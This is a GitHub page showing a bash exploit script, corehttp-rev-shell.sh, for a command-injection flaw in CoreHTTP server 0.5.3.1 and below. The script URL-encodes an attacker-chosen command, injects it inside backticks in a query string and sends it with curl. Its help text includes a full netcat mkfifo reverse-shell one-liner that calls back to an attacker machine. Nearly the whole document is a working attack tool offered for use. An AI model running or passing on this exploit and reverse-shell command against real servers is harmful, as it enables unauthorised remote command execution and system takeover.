-
Notifications
You must be signed in to change notification settings - Fork 17
/
corehttp-rev-shell.sh
74 lines (65 loc) · 2.45 KB
/
corehttp-rev-shell.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/bash
# Remote Command Execution
# CoreHTTP Server Version 0.5.3.1 and Below
#
# This command is used to obtain a reverse shell.
# CoreHTTP server fails to properly sanitize input before calling the popen()
# function in http.c. This allows an attacker to execute arbitrary commands
# Allow Ctrl+C to kill pingsweep
trap '
trap - INT # restore default INT handler
kill -s INT "$$"
' INT
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ] ; then
# This option displays a help message and command execution examples
echo ""
echo "OsbornePro corehttp-rev-shell 1.0 ( https://osbornepro.com )"
echo ""
echo "USAGE: -p <port> -u <url> -c <curl options>"
echo ""
echo "OPTIONS:"
echo " -h : Displays the help information for the command."
echo " -u : Define the full URL location to foo.pl"
echo " -c : Set options available in curl to adjust to a variety of situations"
echo " -s : Reverse shell command to execute. Other commands will work but they will not return any results"
echo ""
echo "EXAMPLES:"
echo " corehttp-rev-shell -u 'https://10.10.10.11:10443/dev/foo.pl' -p 10443 -c '--insecure' -s 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1337 >/tmp/f'"
echo " # This example executes a netcat OpenBSD reverse shell from 10.10.10.11 to your attack machine on port 1337."
echo ""
exit
fi
while getopts ":c:u:s:" OPT; do
case $OPT in
u) url=$OPTARG;;
c) cmd=$OPTARG;;
s) shell=$OPTARG;;
esac
done
if [[ -z $url ]]; then
printf "[!] URL was not defined\n"
exit
fi
if [[ -z $cmd ]]; then
printf "[!] A reverse shell command was not defined\n"
fi
rawurlencode() {
local string="${1}"
local strlen=${#string}
local encoded=""
local pos c o
for (( pos=0 ; pos<strlen ; pos++ )); do
c=${string:$pos:1}
case "$c" in
[-_.~a-zA-Z0-9] ) o="${c}" ;;
* ) printf -v o '%%%02x' "'$c"
esac
encoded+="${o}"
done
echo "${encoded}" # You can either set a return variable (FASTER)
REPLY="${encoded}" #+or echo the result (EASIER)... or both... :p
}
SHELL=$(rawurlencode "$shell")
URL=${url}"?%60"$SHELL"%26%60"
# printf "Sending request to $URL"
curl ${curlopts} "${URL}"